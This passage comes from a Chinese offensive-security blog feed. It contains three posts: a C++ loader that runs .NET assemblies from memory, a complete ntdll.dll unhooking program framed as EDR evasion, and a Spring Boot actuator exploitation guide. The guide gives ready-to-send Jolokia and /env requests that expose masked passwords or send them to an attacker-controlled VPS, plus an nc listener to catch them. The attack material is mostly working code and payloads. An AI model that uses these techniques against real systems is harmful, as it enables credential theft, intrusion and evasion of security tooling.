class="built_in">GetRuntime</span>(<span class="string">L"v4.0.30319"</span>, IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);</span><br><span class="line"> <span class="comment">// 通过ICLRRuntimeInfo将 CLR 加载到当前进程并返回运行时接口ICorRuntimeHost指针</span></span><br><span class="line">iRuntimeInfo-><span class="built_in">GetInterface</span>(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);</span><br><span class="line"> <span class="comment">// 通过ICLRRuntimeHost.Start()初始化CLR。</span></span><br><span class="line">iRuntimeHost-><span class="built_in">Start</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通过ICLRRuntimeHost获取AppDomain接口指针。</span></span><br><span class="line">iRuntimeHost-><span class="built_in">GetDefaultDomain</span>(&pAppDomain);</span><br><span class="line"> <span class="comment">// 然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。</span></span><br><span class="line">pAppDomain-><span class="built_in">QueryInterface</span>(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 数组的长度</span></span><br><span class="line">saBound[<span class="number">0</span>].cElements = ASSEMBLY_LENGTH;</span><br><span class="line"> <span class="comment">// 设置第一维的起始下标</span></span><br><span class="line">saBound[<span class="number">0</span>].lLbound = <span class="number">0</span>;</span><br><span class="line"> <span class="comment">// 创建一个新的数组描述符,分配和初始化数组的数据,并返回一个指向新数组描述符的指针。</span></span><br><span class="line">SAFEARRAY* pSafeArray = <span class="built_in">SafeArrayCreate</span>(VT_UI1, <span class="number">1</span>, saBound);</span><br><span class="line"> <span class="comment">// 增加数组的锁计数,并返回数组的指针。</span></span><br><span class="line"><span class="built_in">SafeArrayAccessData</span>(pSafeArray, &pData);</span><br><span class="line"> <span class="comment">// 在缓冲区之间复制字节。</span></span><br><span class="line"><span class="built_in">memcpy</span>(pData, dotnetRaw, ASSEMBLY_LENGTH);</span><br><span class="line"> <span class="comment">// 减少数组的锁计数,并释放通过SafeArrayAccessData返回的指针。</span></span><br><span class="line"><span class="built_in">SafeArrayUnaccessData</span>(pSafeArray);</span><br><span class="line"><span class="comment">// 通过默认应用程序域实例的Load_3方法加载安全.net程序集数组,并返回Assembly的实例对象指针。</span></span><br><span class="line">pDefaultAppDomain-><span class="built_in">Load_3</span>(pSafeArray, &pAssembly);</span><br><span class="line"> <span class="comment">// 通过Assembly实例对象的get_EntryPoint方法获取描述入口点的MethodInfo实例对象。</span></span><br><span class="line">pAssembly-><span class="built_in">get_EntryPoint</span>(&pMethodInfo);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建参数安全数组</span></span><br><span class="line"> vPsa.vt = (VT_ARRAY | VT_BSTR);</span><br><span class="line">args = <span class="built_in">SafeArrayCreateVector</span>(VT_VARIANT, <span class="number">0</span>, <span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span> (argc > <span class="number">1</span>)</span><br><span class="line">{</span><br><span class="line">vPsa.parray = <span class="built_in">SafeArrayCreateVector</span>(VT_BSTR, <span class="number">0</span>, argc);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">long</span> i = <span class="number">0</span>; i < argc; i++)</span><br><span class="line">{</span><br><span class="line"><span class="built_in">SafeArrayPutElement</span>(vPsa.parray, &i, <span class="built_in">SysAllocString</span>(argv[i]));</span><br><span class="line">}</span><br><span class="line"><span class="keyword">long</span> idx[<span class="number">1</span>] = { <span class="number">0</span> };</span><br><span class="line"><span class="built_in">SafeArrayPutElement</span>(args, idx, &vPsa);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="built_in">ZeroMemory</span>(&vRet, <span class="built_in"><span class="keyword">sizeof</span></span>(VARIANT));</span><br><span class="line"><span class="built_in">ZeroMemory</span>(&vObj, <span class="built_in"><span class="keyword">sizeof</span></span>(VARIANT));</span><br><span class="line">vObj.vt = VT_NULL;</span><br><span class="line"> <span class="comment">// 通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。</span></span><br><span class="line">HRESULT hr = pMethodInfo-><span class="built_in">Invoke_3</span>(vObj, args, &vRet);</span><br><span class="line">pMethodInfo-><span class="built_in">Release</span>();</span><br><span class="line">pAssembly-><span class="built_in">Release</span>();</span><br><span class="line">pDefaultAppDomain-><span class="built_in">Release</span>();</span><br><span class="line">iRuntimeInfo-><span class="built_in">Release</span>();</span><br><span class="line">iMetaHost-><span class="built_in">Release</span>();</span><br><span class="line"><span class="built_in">CoUninitialize</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h3 id="其他开源实现"><a href="#其他开源实现" class="headerlink" title="其他开源实现"></a>其他开源实现</h3><p><a href="https://github.com/caseysmithrc/AssemblyLoader">https://github.com/caseysmithrc/AssemblyLoader</a></p><p><a href="https://github.com/etormadiv/HostingCLR">https://github.com/etormadiv/HostingCLR</a></p><p><a href="https://github.com/b4rtik/metasploit-execute-assembly">https://github.com/b4rtik/metasploit-execute-assembly</a></p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="https://3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(execute-assembly)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90">https://3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(execute-assembly)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90</a></p><p><a href="https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session-part-2/">https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session-part-2/</a></p><p><a href="https://idiotc4t.com/defense-evasion/cobaltstrike-executeassembly-realization#liu-chengbnei-cun-jia-zai">https://idiotc4t.com/defense-evasion/cobaltstrike-executeassembly-realization#liu-chengbnei-cun-jia-zai</a></p><p><a href="https://github.com/b4rtik/metasploit-execute-assembly">https://github.com/b4rtik/metasploit-execute-assembly</a></p><p><a href="https://blog.csdn.net/jisuanjixu/article/details/5959186">https://blog.csdn.net/jisuanjixu/article/details/5959186</a></p>]]></content>
<tags>
<tag> execute-assembly </tag>
</tags>
</entry>
<entry>
<title>DLL解钩技术</title>
<link href="2021/12/29/DLL%E8%A7%A3%E9%92%A9%E6%8A%80%E6%9C%AF/"/>
<url>2021/12/29/DLL%E8%A7%A3%E9%92%A9%E6%8A%80%E6%9C%AF/</url>
<content type="html"><![CDATA[<p>通过从磁盘读取 ntdll.dll 的 .text 部分并将其放在映射到内存中的 ntdll.dll 的 .text 部分的顶部,可以完全解钩(unhook)加载到内存中的任何给定 DLL。这可能有助于bypass一些依赖用户态 API 挂钩的 EDR 解决方案。</p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>解钩DLL的过程如下面所示。假设ntdll.dll被钩(hook)住了,现在我们来演示如何解钩(unhook):</p><ol><li>将ntdll.dll的全新副本从磁盘映射到内存。</li><li>找到被钩住的 ntdll.dll 的 .text 部分的虚拟地址(先找到ntdll.dll的基地址,然后用基地址加上.text部分的偏移地址就得到了.text部分的虚拟地址)。</li><li>找到新映射的ntdll.dll的.text部分的虚拟地址。</li><li>获取被挂钩模块的 .text 部分的原始内存保护</li><li>将 .text 部分从新映射的 dll 复制到原始(挂钩)ntdll.dll 的虚拟地址(在第 3 步中找到) - 这是解钩的主要内容,因为所有挂钩字节都被磁盘中的新字节覆盖。</li><li>将原始内存保护应用到原始 ntdll.dll 的解钩的 .text 部分。</li></ol><p>下面是一个简化图,说明了该技术的核心概念,其中 ntdll.dll 的挂钩 .text 部分被替换为磁盘上 ntdll.dll 的 .text 部分的干净副本:</p><p><img src="DLL%E8%A7%A3%E9%92%A9%E6%8A%80%E6%9C%AF.assets/assets/-LFEMnER3fywgFHoroYn/-M9b77N-cstE2jRzZI4M/-M9b7TdH_eS5azVO-Vxe/image.png" alt="img"></p><h2 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h2><p>下面的代码是解钩ntdll.dll的示例,你可以将它修改成解钩任何DLL的代码。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"pch.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><winternl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><psapi.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">HANDLE process = GetCurrentProcess();</span><br><span class="line">MODULEINFO mi = {};</span><br><span class="line">HMODULE ntdllModule = GetModuleHandleA(<span class="string">"ntdll.dll"</span>);</span><br><span class="line"></span><br><span class="line">GetModuleInformation(process, ntdllModule, &mi, <span class="keyword">sizeof</span>(mi));</span><br><span class="line">LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;</span><br><span class="line">HANDLE ntdllFile = CreateFileA(<span class="string">"c:\\windows\\system32\\ntdll.dll"</span>, GENERIC_READ, FILE_SHARE_READ, <span class="literal">NULL</span>, OPEN_EXISTING, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line">HANDLE ntdllMapping = CreateFileMapping(ntdllFile, <span class="literal">NULL</span>, PAGE_READONLY | SEC_IMAGE, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line">LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;</span><br><span class="line">PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (WORD i = <span class="number">0</span>; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {</span><br><span class="line">PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">strcmp</span>((<span class="keyword">char</span>*)hookedSectionHeader->Name, (<span class="keyword">char</span>*)<span class="string">".text"</span>)) {</span><br><span class="line">DWORD oldProtection = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">bool</span> isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);</span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);</span><br><span class="line">isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">CloseHandle(process);</span><br><span class="line">CloseHandle(ntdllFile);</span><br><span class="line">CloseHandle(ntdllMapping);</span><br><span class="line">FreeLibrary(ntdllModule);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>请注意,上面的代码没有映像基址重定位。尽管 ntdll.dll 在其 .text 部分中没有任何要重定位的内容,但在处理其他 dll 时可能需要它。</p><p>翻译自:<a href="https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++#overview">https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++#overview</a></p>]]></content>
<tags>
<tag> 免杀 </tag>
</tags>
</entry>
<entry>
<title>SpringBoot信息泄露</title>
<link href="2021/12/29/SpringBoot%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2/"/>
<url>2021/12/29/SpringBoot%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2/</url>
<content type="html"><![CDATA[<h2 id="一、路由地址及接口调用详情泄漏"><a href="#一、路由地址及接口调用详情泄漏" class="headerlink" title="一、路由地址及接口调用详情泄漏"></a>一、路由地址及接口调用详情泄漏</h2><p>开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞</p><p>直接访问以下几个路由,验证漏洞是否存在:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/api-docs</span><br><span class="line">/v2/api-docs</span><br><span class="line">/swagger-ui.html</span><br></pre></td></tr></table></figure><p>一些可能会遇到的接口路由变形:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/api.html</span><br><span class="line">/sw/swagger-ui.html</span><br><span class="line">/api/swagger-ui.html</span><br><span class="line">/template/swagger-ui.html</span><br><span class="line">/spring-security-rest/api/swagger-ui.html</span><br><span class="line">/spring-security-oauth-resource/swagger-ui.html</span><br></pre></td></tr></table></figure><p>除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">/mappings</span><br><span class="line">/actuator/mappings</span><br><span class="line">/metrics</span><br><span class="line">/actuator/metrics</span><br><span class="line">/beans</span><br><span class="line">/actuator/beans</span><br><span class="line">/configprops</span><br><span class="line">/actuator/configprops</span><br></pre></td></tr></table></figure><p>一般来讲,直到 spring boot 应用的相关接口和传参信息并不能算是漏洞;</p><p>但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。</p><h2 id="二、配置不当而暴露的路由"><a href="#二、配置不当而暴露的路由" class="headerlink" title="二、配置不当而暴露的路由"></a>二、配置不当而暴露的路由</h2><blockquote><p>主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置<br>/actuator /auditevents /autoconfig /beans /caches /conditions /configprops /docs /<strong>dump</strong> /env /flyway /health /heapdump /httptrace /info /intergrationgraph /jolokia /logfile /loggers /liquibase /metrics /mappings /prometheus /refresh /scheduledtasks /sessions /<strong>shutdown</strong> /trace /threaddump /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream<br>其中对寻找漏洞比较重要接口的有:</p></blockquote><ul><li><strong>/env、/actuator/env</strong>:GET 请求 /env 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,触发相关 RCE 漏洞。</li><li><strong>/jolokia</strong>:通过 /jolokia/list 接口寻找可以利用的 MBean,触发相关 RCE 漏洞;</li><li><strong>/trace</strong>:一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息</li></ul><h2 id="三、获取被星号脱敏的密码的明文-方法一"><a href="#三、获取被星号脱敏的密码的明文-方法一" class="headerlink" title="三、获取被星号脱敏的密码的明文 (方法一)"></a>三、获取被星号脱敏的密码的明文 (方法一)</h2><blockquote><p>访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果</p></blockquote><p><strong>利用条件</strong>:</p><ul><li>目标网站存在 /jolokia 或 /actuator/jolokia 接口</li><li>目标使用了 jolokia-core 依赖(版本要求暂未知)</li></ul><p><strong>利用方法</strong>:</p><p>步骤一: 找到想要获取的属性名</p><p>GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 *<strong>*</strong> 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。</p><p>步骤二: jolokia 调用相关 Mbean 获取明文</p><p>将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。</p><p>调用 org.springframework.boot Mbean(可能更通用)</p><blockquote><p>实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法</p></blockquote><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /jolokia</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}</span><br></pre></td></tr></table></figure><p>spring 2.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /actuator/jolokia</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}</span><br></pre></td></tr></table></figure><p>调用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖)</p><blockquote><p>实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法</p></blockquote><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /jolokia</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}</span><br></pre></td></tr></table></figure><p>spring 2.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /actuator/jolokia</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}</span><br></pre></td></tr></table></figure><h2 id="四、获取被星号脱敏的密码的明文-方法二"><a href="#四、获取被星号脱敏的密码的明文-方法二" class="headerlink" title="四、获取被星号脱敏的密码的明文 (方法二)"></a>四、获取被星号脱敏的密码的明文 (方法二)</h2><blockquote><p>访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果</p></blockquote><p><strong>利用条件</strong>:</p><ul><li>可以 GET 请求目标网站的 /env</li><li>可以 POST 请求目标网站的 /env</li><li>可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)</li><li>目标使用了 spring-cloud-starter-netflix-eureka-client 依赖</li><li>目标可以请求***者的服务器(请求可出外网)</li></ul><p><strong>利用方法</strong>:</p><p>步骤一: 找到想要获取的属性名</p><p>GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 *<strong>*</strong> 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。</p><p>步骤二: 使用 nc 监听 HTTP 请求</p><p>在自己控制的外网服务器上监听 80 端口:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvk 80</span><br></pre></td></tr></table></figure><p>步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性</p><p>将下面 <a href="https://link.zhihu.com/?target=http://value">http://value</a>:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;</p><p>your-vps-ip 换成自己外网服务器的真实 ip 地址。</p><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /env</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip</span><br></pre></td></tr></table></figure><p>spring 2.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /actuator/env</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}</span><br></pre></td></tr></table></figure><p>步骤四: 刷新配置</p><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST /refresh</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br></pre></td></tr></table></figure><p>spring 2.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST /actuator/refresh</span><br><span class="line">Content-Type: application/json</span><br></pre></td></tr></table></figure><p>步骤五: 解码属性值</p><p>正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Authorization: Basic dmFsdWU6MTIzNDU2</span><br></pre></td></tr></table></figure><p>将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。</p><h2 id="五、获取被星号脱敏的密码的明文-方法三"><a href="#五、获取被星号脱敏的密码的明文-方法三" class="headerlink" title="五、获取被星号脱敏的密码的明文 (方法三)"></a>五、获取被星号脱敏的密码的明文 (方法三)</h2><blockquote><p>访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果</p></blockquote><p><strong>利用条件</strong>:</p><ul><li>通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求</li><li>目标可以请求***者的服务器(请求可出外网)</li></ul><p><strong>利用方法</strong>:</p><blockquote><p>参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据</p></blockquote><p>步骤一: 找到想要获取的属性名</p><p>GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 *<strong>*</strong> 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。</p><p>步骤二: 使用 nc 监听 HTTP 请求</p><p>在自己控制的外网服务器上监听 80 端口:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvk 80</span><br></pre></td></tr></table></figure><p>步骤三: 触发对外 http 请求</p><p>spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况):</p><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /env</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}</span><br></pre></td></tr></table></figure><p>spring 2.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /actuator/env</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}</span><br></pre></td></tr></table></figure><p>eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况):</p><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">POST /env</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}</span><br><span class="line">spring 2.x</span><br><span class="line"></span><br><span class="line">POST /actuator/env</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}</span><br></pre></td></tr></table></figure><p>步骤四: 刷新配置</p><p>spring 1.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST /refresh</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br></pre></td></tr></table></figure><p>spring 2.x</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST /actuator/refresh</span><br><span class="line">Content-Type: application/json</span><br></pre></td></tr></table></figure><h2 id="六、获取被星号脱敏的密码的明文-方法四"><a href="#六、获取被星号脱敏的密码的明文-方法四" class="headerlink" title="六、获取被星号脱敏的密码的明文 (方法四)"></a>六、获取被星号脱敏的密码的明文 (方法四)</h2><blockquote><p>访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果</p></blockquote><p><strong>利用条件</strong>:</p><ul><li>可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口</li></ul><p><strong>利用方法</strong>:</p><p>步骤一: 找到想要获取的属性名</p><p>GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 *<strong>*</strong> 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。</p><p>步骤二: 下载 jvm heap 信息</p><p>下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G</p><p>GET 请求目标的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息</p><p>步骤三: 使用 MAT 获得 jvm heap 中的密码明文</p><blockquote><p>以上就是Spring boot泄露的具体内容</p></blockquote>]]></content>
<tags>
<tag> SpringBoot </tag>
</tags>
</entry>
<entry>
<title>红日安全红队靶场(三)一次简单的内网渗透</title>
<link href="2021/07/25/%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
<url>2021/07/25/%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/</url>
